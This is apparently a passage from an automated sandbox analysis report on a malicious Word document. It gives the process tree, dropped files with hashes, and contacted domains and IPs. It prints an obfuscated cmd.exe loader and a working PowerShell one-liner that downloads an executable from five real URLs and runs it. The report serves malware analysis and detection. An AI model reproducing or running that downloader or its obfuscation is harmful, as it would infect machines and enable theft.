, 15 , 36 , 7 , 41 , 0, 45 , 40 , 5 , 5 , 28 , 15 , 64, 70 , 70, 39 , 15 ,48 , 36 , 6, 58, 21, 53 , 15, 50,48,67 ,48 , 27 , 30 ,62,10 , 23 , 1 , 21, 18, 48 , 13 ,15 , 53 , 38 , 48 , 30 , 62 , 78 , 16 , 9 , 21 , 77 ,18 , 77 , 48 , 40 , 23 , 40 , 48 , 30 , 62 , 33,79 ,26 ,79, 18 ,48 , 80, 38,79 , 11 , 48 , 30, 62 , 43 , 53 , 59 , 21 , 18 , 62 , 5 ,75 , 20,57 , 58 , 1 , 4,21 , 53 , 7, 17 , 48, 2 , 48 , 17 , 62 , 78,16 ,9 , 21 , 17 , 48, 36 , 5 , 56, 5 , 48 , 30 , 55 ,41 , 11 , 5 , 31 ,7 , 26 , 50 , 62 , 70, 46 , 7 , 79 , 77 , 53 ,75, 77 , 62 , 24 , 21 , 38 , 4 , 27 , 8 , 15 , 11 , 66 ,8 , 62 , 3 , 68 , 0 , 14, 36 , 65 , 41 , 68 , 75 ,21 , 41, 31 ,51 , 73 , 53 , 21 , 5 ,50 ,62 , 70 ,46 , 7 ,79 , 25 , 77,62 , 43 , 53 ,59, 21 , 27, 30 , 62 ,73 , 37,20 , 68, 18 ,48 ,63 , 41 , 59 , 7 , 48 , 30 , 70, 55, 77, 50 , 50, 19 , 5 , 15 , 69 ,70 , 15 , 5 , 0 , 77 ,62, 43, 53 , 59,21 , 27 , 36 , 21, 5 ,75 , 76 , 15 , 26 , 77 , 69 , 76, 5 ,77 , 28 , 39 , 39 ,39 ,39 , 27 , 77,8 , 70 ,75 , 20 , 41 , 79 , 5 , 69, 70 ,15 , 5, 0 , 77 , 62 , 43 , 53 ,59 ,21 , 30 , 62, 32 ,46 ,16 , 14 , 18 , 48 ,13 , 1,51 ,28 ,48 , 30,4 ,11 , 5 , 31, 79 , 30 ,34 ,34, 7 , 31 , 15 ,7 , 26 , 8, 34 , 34 ,62 , 78, 59 , 47 , 41 , 18 , 48 , 80 , 1 , 14 , 16 ,48 ,30 ,84 )DO SeT oN4=!oN4!!0DjH:~ %J, 1!& IF %J GEQ 84 eCHO !oN4:~ 5! |cMd.eXE ' MD5: AD7B9C14083B52BC532FBA5948342B98)

cmd.exe (PID: 1576 cmdline: CmD /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 , 45, 42 , 22 , 10, 41 , 52 ,21 , 66, 64 , 40 , 42 ,5 , 53 , 31 ,35 , 59 , 66 , 64 , 70 , 79, 67 , 26 , 15 , 15 , 58 , 57, 45 , 45,15 ,41 ,58, 31, 4 , 21 , 31 , 14 , 5 , 36 , 7 , 41, 0, 45, 3,32 , 26,64 , 6 , 72 , 11 ,58 ,11 ,79 ,67 , 26 , 15,15 , 58 , 57 , 45 , 45, 15 , 31 , 4 , 31 , 71 ,21 , 41 , 15 ,4, 58 , 11 , 5 , 71 , 71, 36 , 7 , 41 , 0 , 45 , 78 ,38 , 60, 44, 58 ,64, 23, 3 , 79 , 59 , 15, 63 , 64 , 29, 78,46 , 61 , 80 , 56, 72 , 67 , 26 ,15 ,15 ,58 , 57 , 45 ,45,0,66 , 51 , 41 ,76 , 0, 66 , 4 , 1 , 51 ,51,66 , 36 , 7 , 41 , 0 , 45 , 42 , 43 , 66 , 7 , 14 , 68 , 29 , 64 , 59 , 61 , 19 , 41 , 20 ,67, 26 , 15 ,15 ,58 , 57 ,45 , 45 , 11 , 53 , 75 , 41 , 21 , 55, 11 , 5 , 7 , 11 , 1 , 53 , 15 , 0 , 5 ,75 , 15 , 36 , 7 , 41 , 0, 45 , 40 , 5 , 5 , 28 , 15 , 64, 70 , 70, 39 , 15 ,48 , 36 , 6, 58, 21, 53 , 15, 50,48,67 ,48 , 27 , 30 ,62,10 , 23 , 1 , 21, 18, 48 , 13 ,15 , 53 , 38 , 48 , 30 , 62 , 78 , 16 , 9 , 21 , 77 ,18 , 77 , 48 , 40 , 23 , 40 , 48 , 30 , 62 , 33,79 ,26 ,79, 18 ,48 , 80, 38,79 , 11 , 48 , 30, 62 , 43 , 53 , 59 , 21 , 18 , 62 , 5 ,75 , 20,57 , 58 , 1 , 4,21 , 53 , 7, 17 , 48, 2 , 48 , 17 , 62 , 78,16 ,9 , 21 , 17 , 48, 36 , 5 , 56, 5 , 48 , 30 , 55 ,41 , 11 , 5 , 31 ,7 , 26 , 50 , 62 , 70, 46 , 7 , 79 , 77 , 53 ,75, 77 , 62 , 24 , 21 , 38 , 4 , 27 , 8 , 15 , 11 , 66 ,8 , 62 , 3 , 68 , 0 , 14, 36 , 65 , 41 , 68 , 75 ,21 , 41, 31 ,51 , 73 , 53 , 21 , 5 ,50 ,62 , 70 ,46 , 7 ,79 , 25 , 77,62 , 43 , 53 ,59, 21 , 27, 30 , 62 ,73 , 37,20 , 68, 18 ,48 ,63 , 41 , 59 , 7 , 48 , 30 , 70, 55, 77, 50 , 50, 19 , 5 , 15 , 69 ,70 , 15 , 5 , 0 , 77 ,62, 43, 53 , 59,21 , 27 , 36 , 21, 5 ,75 , 76 , 15 , 26 , 77 , 69 , 76, 5 ,77 , 28 , 39 , 39 ,39 ,39 , 27 , 77,8 , 70 ,75 , 20 , 41 , 79 , 5 , 69, 70 ,15 , 5, 0 , 77 , 62 , 43 , 53 ,59 ,21 , 30 , 62, 32 ,46 ,16 , 14 , 18 , 48 ,13 , 1,51 ,28 ,48 , 30,4 ,11 , 5 , 31, 79 , 30 ,34 ,34, 7 , 31 , 15 ,7 , 26 , 8, 34 , 34 ,62 , 78, 59 , 47 , 41 , 18 , 48 , 80 , 1 , 14 , 16 ,48 ,30 ,84 )DO SeT oN4=!oN4!!0DjH:~ %J, 1!& IF %J GEQ 84 eCHO !oN4:~ 5! |cMd.eXE ' MD5: AD7B9C14083B52BC532FBA5948342B98)

cmd.exe (PID: 2516 cmdline: C:\Windows\system32\cmd.exe /S /D /c' eCHO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1'; ' MD5: AD7B9C14083B52BC532FBA5948342B98)

cmd.exe (PID: 2260 cmdline: cMd.eXE MD5: AD7B9C14083B52BC532FBA5948342B98)

powershell.exe (PID: 4004 cmdline: powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1'; MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

363.exe (PID: 3632 cmdline: 'C:\Users\Public\363.exe' MD5: 9F2BEB5C30858CC2C434A743B1A1C1CE)

363.exe (PID: 3616 cmdline: C:\Users\Public\363.exe MD5: 9F2BEB5C30858CC2C434A743B1A1C1CE)

svchost.exe (PID: 3820 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 54A47F6B5E09A77E61649109C6A08866)

OSPPSVC.EXE (PID: 1880 cmdline: C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE MD5: 358A9CCA612C68EB2F07DDAD4CE1D8D7)

emitwpc.exe (PID: 2928 cmdline: C:\Windows\system32\emitwpc.exe MD5: 9F2BEB5C30858CC2C434A743B1A1C1CE)

emitwpc.exe (PID: 3136 cmdline: C:\Windows\system32\emitwpc.exe MD5: 9F2BEB5C30858CC2C434A743B1A1C1CE)

cleanup

Created / dropped Files

C:\ProgramData\Microsoft\OfficeSoftwareProtectionPlatform\Cache\cache.dat Download File
Process:	C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
File Type:	data
Size (bytes):	186776
Entropy (8bit):	3.726566588324322
Encrypted:	false
MD5:	7365D0D0D7DE772376ED289BA2FAD719
SHA1:	8430CAC03F50615E0D34D8D1FBB108985693479A
SHA-256:	681B1AEEFFAA0FC92D26E38AAD214D5447C683620AFD7DD5FB902C3DEBEDF163
SHA-512:	844619B6D3A279EB911F4FCEA13B0997E2E7BA411D026A51416948B7026880118DA7555C0D5814E08B319741C240944D6B0EB0DAB992B8D0011C5EF7093C5619
Malicious:	false
Reputation:	low

C:\Users\user~1\AppData\Local\Temp\Word8.0\MSForms.exd Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Size (bytes):	182128
Entropy (8bit):	4.351087890919447
Encrypted:	false
MD5:	376752D2A00DD07A38DF395104821333
SHA1:	9F6E4094D89E6CFAB0D0730F71014FEC38A0AD07
SHA-256:	9074E6E1126084206839AEF0770A5B328B043CE193CD12DBEEBC72B25CAAF1D4
SHA-512:	F1D2F2094CCACEAF571E28A7D8664F6EE1A189A7100C5BC73AA9EBCD1A3499CA7824DF3AB813F6A5E50046185F6CD900A3D4F51A4CA64614AF3D3A0E9A88D269
Malicious:	false
Reputation:	low

C:\Users\user~1\AppData\Local\Temp\imgs_files\editdata.mso Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Size (bytes):	21870
Entropy (8bit):	7.975056541398769
Encrypted:	false
MD5:	6CEE098CE4FE7D0B3007D5C41FA99BEF
SHA1:	8AB2158FB205FD50986E27F0DF220265196ED1B2
SHA-256:	7DE03722949B5009AA82F6F269E483B437EBB59E180C7A3CD74D272A3EE007AD
SHA-512:	9E181A6587E4B8CF78AA709C58DAB2EC76ACE8FEBA06F2C66686CC490679FEC56B63AFA79C578FB4CAC80C7008F113C7ADC8D542C4A9581DA2FFD15C63AD5F15
Malicious:	false
Reputation:	low

C:\Users\user~1\AppData\Local\Temp\imgs_files\image001.wmz Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	gzip compressed data, max speed, from NTFS filesystem (NT)
Size (bytes):	321
Entropy (8bit):	7.379095491902282
Encrypted:	false
MD5:	04F0BFFBF9EE94CBAA4E926566743466
SHA1:	D096E19BD21832F43DFC3967A6BF6731A0378C37
SHA-256:	C3494A3C76BF3FE630121002C01363806207DBDE2DED4A05074AFA464259B0A8
SHA-512:	1098E65CB5086863BAD909CF72B50F77F1EE07442013F92AED94F5892F9B6C29482C2C97DD3FB6697438785FC00182E598A1262EC6C66E366D26F9549B1D4195
Malicious:	false
Reputation:	low

C:\Users\Public\363.exe Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	139264
Entropy (8bit):	6.786546055456318
Encrypted:	false
MD5:	9F2BEB5C30858CC2C434A743B1A1C1CE
SHA1:	C95DC04C827162BE773A7F033A4AE4FD56B387CB
SHA-256:	AC1D4535CB727E7284E0011EDAE475C78EC5B3D655E886B4445651860729C732
SHA-512:	C59A2482C035B401C18CE9102C8E539DC9995A81703C8B0C3481F2AE589EA9448746FDDF398DA99B4467487672557637C72E8A5EDD126E7621929952553A7F97
Malicious:	true
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\59BD785C.wmf Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Targa image data - Map - RLE 29 x 65536 x 0 +5 "\004"
Size (bytes):	502
Entropy (8bit):	3.551911818568009
Encrypted:	false
MD5:	42BB370FC5E643F44DBC7FBA568B78FC
SHA1:	4FA47809771D738307B7ED7FA2EB5A471955A1E7
SHA-256:	4A8D8B0CC8C1DBE9E5A547CCD9C6FD48CF6BC242192399F529ADCB84845D92EE
SHA-512:	75420AB4B0209CFAC7E0256313B834726680D72DDE18777644D7C978E8B51C0CD22BAA8485478AD56F05809139B697C7AEEF21C0DCFC34ED0EC07A3A197F1C58
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CD8FC4AD.wmf Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Targa image data - Map - RLE 29 x 65536 x 0 +5 "\004"
Size (bytes):	502
Entropy (8bit):	3.551911818568009
Encrypted:	false
MD5:	42BB370FC5E643F44DBC7FBA568B78FC
SHA1:	4FA47809771D738307B7ED7FA2EB5A471955A1E7
SHA-256:	4A8D8B0CC8C1DBE9E5A547CCD9C6FD48CF6BC242192399F529ADCB84845D92EE
SHA-512:	75420AB4B0209CFAC7E0256313B834726680D72DDE18777644D7C978E8B51C0CD22BAA8485478AD56F05809139B697C7AEEF21C0DCFC34ED0EC07A3A197F1C58
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ED8EEACA.wmf Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Targa image data - Map - RLE 65536 x 65536 x 0 "\004"
Size (bytes):	520
Entropy (8bit):	3.5068142403522042
Encrypted:	false
MD5:	E4B0BB777A364B5016F1790D2D277CD4
SHA1:	7209B44473FA1BFB6E896D5022CAEF04DF01B875
SHA-256:	98D7EECA07D4F8C70E830349362B377A270FF2D39D4059039BE52C53D45C9AFE
SHA-512:	032F1FCE59656E84CADEFD994022DDE6393BB26B0CDF780E20779E425009612BD1E4954B9700C04D51B936EF5CDB0262A7A11DAAE3CFF094B42D92CA619C0672
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EF886843.wmf Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Targa image data - Map - RLE 65536 x 65536 x 0 "\004"
Size (bytes):	520
Entropy (8bit):	3.5068142403522042
Encrypted:	false
MD5:	E4B0BB777A364B5016F1790D2D277CD4
SHA1:	7209B44473FA1BFB6E896D5022CAEF04DF01B875
SHA-256:	98D7EECA07D4F8C70E830349362B377A270FF2D39D4059039BE52C53D45C9AFE
SHA-512:	032F1FCE59656E84CADEFD994022DDE6393BB26B0CDF780E20779E425009612BD1E4954B9700C04D51B936EF5CDB0262A7A11DAAE3CFF094B42D92CA619C0672
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{97B593BA-5D10-428E-8751-A8845D0A839A}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\FILE-7433.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 26 13:40:53 2018, mtime=Wed Sep 26 13:40:53 2018, atime=Mon Jan 14 13:05:09 2019, length=136704, window=hide
Size (bytes):	2056
Entropy (8bit):	4.517159528275305
Encrypted:	false
MD5:	3A313355AA44D0498504E1A8C0F0917D
SHA1:	4D8D4561B4C422463E85806E20C1C270A03814DB
SHA-256:	98755994CAA7BF68BA46414E0080E94CE7D17966DCFB05A38ADD3060E24A8E6F
SHA-512:	78D64D676CC83E65FE5A7956E8E9658EA5F35E059EEDB9427BD706195FC4B6A2E4ADF6A2C58287E49E98620CA3753A094BD0CF1AC3904221C6EE904F92742788
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	52
Entropy (8bit):	4.5081320258334
Encrypted:	false
MD5:	A5F2A9C7286B4ABEF98ACC9DA22DEE79
SHA1:	5594B640D6B43DD03DD99731DCC9A7B9E4EF32DA
SHA-256:	F4A45492155D285052B02FD5FB9792D1C461B4367670891791558EE87CB6B215
SHA-512:	3FB15BC8A4F1289E4F9F935D372625F37463C0682A17A6DF1F068C0103C443EED4CCC3F628E13B80C09BB14104CF3F350DF74A5370EBB005DF485BCB1D1BCD00
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Size (bytes):	162
Entropy (8bit):	2.2329735239254833
Encrypted:	false
MD5:	C2F56920F0C47246611FB686C7632044
SHA1:	0E6EB5D686F415ED8D72592C37300086795518CE
SHA-256:	407E89C4BECB6428979D0A2E173B62EC1309CD64E87EA52148849E0824E8DCE1
SHA-512:	4A1873D3ACF9CBCC67F9295BBAF646071BA533D27B4178D4EFB3C5F22B67E111C8324B67FF356046E6B3D2CB7BF906B18D2A4524E8F8912C8A8D91931A83AA49
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J3O4T1ZQSJSC5UHKAW8D.temp Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Size (bytes):	8016
Entropy (8bit):	3.5490621394026456
Encrypted:	false
MD5:	2ACC958FA7433F8B764D01D5C03CA1BA
SHA1:	F23FB75B9B14C2EAD7FF404B3CE89FC0D1642B35
SHA-256:	A7CF1CC82AA5CEE1A13446A4A04F9A341E3B42BD2BAC950F73B4396681FA00F7
SHA-512:	CCCF93B90257743319F94826C8CE87C2FF3199FEF3A2330205D75586428313BB6553D6DE6C1E4EC68AA29CCDCC77A89A5BB33D7D4F735878F7EDA4947C3B9536
Malicious:	false
Reputation:	low

C:\Users\user\Desktop\~$LE-7433.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Size (bytes):	162
Entropy (8bit):	2.2329735239254833
Encrypted:	false
MD5:	C2F56920F0C47246611FB686C7632044
SHA1:	0E6EB5D686F415ED8D72592C37300086795518CE
SHA-256:	407E89C4BECB6428979D0A2E173B62EC1309CD64E87EA52148849E0824E8DCE1
SHA-512:	4A1873D3ACF9CBCC67F9295BBAF646071BA533D27B4178D4EFB3C5F22B67E111C8324B67FF356046E6B3D2CB7BF906B18D2A4524E8F8912C8A8D91931A83AA49
Malicious:	false
Reputation:	low

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
beitshalomcare.com	108.167.182.150	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik/	true	Avira URL Cloud: safe	unknown
http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik	true	Avira URL Cloud: safe	unknown
http://70.55.70.147:7080/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mydogmybuddy.com/ULyczwB_jTGovH	powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://topablaze.com/YOh_SNrprk	363.exe, 0000000B.00000002.1433909559.00074000.00000004.sdmp	true	Avira URL Cloud: safe	unknown
http://beitshalomcare.com/UCXoKly_3UeiaQjy_IkH	powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN	363.exe, 0000000B.00000002.1433909559.00074000.00000004.sdmp	true	Avira URL Cloud: safe	unknown
http://topablaze.com/YOh_SNr	363.exe, 0000000A.00000002.1414642152.00380000.00000004.sdmp, 363.exe, 0000000B.00000002.1433874695.00020000.00000004.sdmp	true	Avira URL Cloud: safe	unknown
http://beitshalomcare.comPJP	powershell.exe, 00000009.00000002.1416709144.01FFC000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://rinolfrecruitment.com/3ee8t_II0tt	powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://201.130.151.95:50000/7	emitwpc.exe, 0000000D.00000002.1561089966.00329000.00000004.sdmp	false	Avira URL Cloud: malware	unknown
http://rinolfrecruitment.com/3ee8t_II0tH	powershell.exe, 00000009.00000002.1416312511.01CB0000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://201.130.151.95:50000/	emitwpc.exe, 0000000D.00000002.1561089966.00329000.00000004.sdmp	false	Avira URL Cloud: malware	unknown
http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik/H	powershell.exe, 00000009.00000002.1416709144.01FFC000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxNt	powershell.exe, 00000009.00000002.1416312511.01CB0000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://rinolfrecruitment.com/3ee8t_II0t	363.exe, 0000000B.00000002.1433909559.00074000.00000004.sdmp	true	Avira URL Cloud: safe	unknown
http://beitshalomcare.com	powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	true	Avira URL Cloud: safe	unknown
http://201.130.151.95:50000/;	emitwpc.exe, 0000000D.00000002.1561089966.00329000.00000004.sdmp	false	Avira URL Cloud: malware	unknown
http://mydogmybuddy.com/ULyczwB_jTGov	363.exe, 0000000B.00000002.1433909559.00074000.00000004.sdmp	true	Avira URL Cloud: safe	unknown
http://beitshalomcare.com/UCXoKlH	powershell.exe, 00000009.00000002.1416312511.01CB0000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://topablaze.com/YOh_SNrprkH	powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxNH	powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://topablaze.cH	powershell.exe, 00000009.00000002.1416312511.01CB0000.00000004.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Country	ASN	ASN Name	Malicious
70.55.70.147	Canada	577	BACOM-BellCanadaCA	true
108.167.182.150	United States	20013	CYRUSONE-CyrusOneLLCUS	true
201.130.151.95	Mexico	8151	UninetSAdeCVMX	true

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Jan 14 13:22:00 2019, Last Saved Time/Date: Mon Jan 14 13:22:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 3, Security: 0
Entropy (8bit):	6.887641436005323
TrID:	Microsoft Word document (32009/1) 52.89% Microsoft Word document (old ver.) (19008/1) 31.41% Generic OLE2 / Multistream Compound File (8008/1) 13.23% Java Script embedded in Visual Basic Script (1500/0) 2.48%
File name:	FILE-7433.doc
File size:	135808
MD5:	01d4b3d3fbb802212ba876e3b26ffe57
SHA1:	13fd5f07adfc77c314007a5a16513fd6042c5ebe
SHA256:	9c04ad1bfd2bc3411cdc96fd28ae9af16b985686a928455caabc0ce74b94c924
SHA512:	d6ba4ae773d9c4482153911345ff3f3916d66edbb20baf4ccc9f95c39fba145ecfc77d617b091bac4d264ce7cee3d08bf99501414d2901498202b053e32d77de
SSDEEP:	1536:h181ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvad2/O2rBkUbd+a9:h18GhDS0o9zTGOZD6EbzCdiRk6
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "FILE-7433.doc"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Office Word
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	True
Flash Objects Count:	0
Contains VBA Macros:	True

Summary
Code Page:	1252
Title:
Subject:
Author:
Keywords:
Comments:
Template:	Normal.dotm
Last Saved By:
Revion Number:	1
Total Edit Time:	0
Create Time:	2019-01-14 13:22:00
Last Saved Time:	2019-01-14 13:22:00
Number of Pages:	1
Number of Words:	0
Number of Characters:	3
Creating Application:	Microsoft Office Word
Security:	0

Document Summary
Document Code Page:	1252
Number of Lines:	1
Number of Paragraphs:	1
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: Fbd61.cls, Stream Size: 984

General
Stream Path:	Macros/VBA/Fbd61
VBA File Name:	Fbd61.cls
Stream Size:	984
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . V . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 07 56 fc b1 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived

VBA Code

Attribute VB_Name = "Fbd61"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

VBA File Name: Hzk5.bas, Stream Size: 672

General
Stream Path:	Macros/VBA/Hzk5
VBA File Name:	Hzk5.bas
Stream Size:	672
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . # . . . w . . . . . . . . . . . . V . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
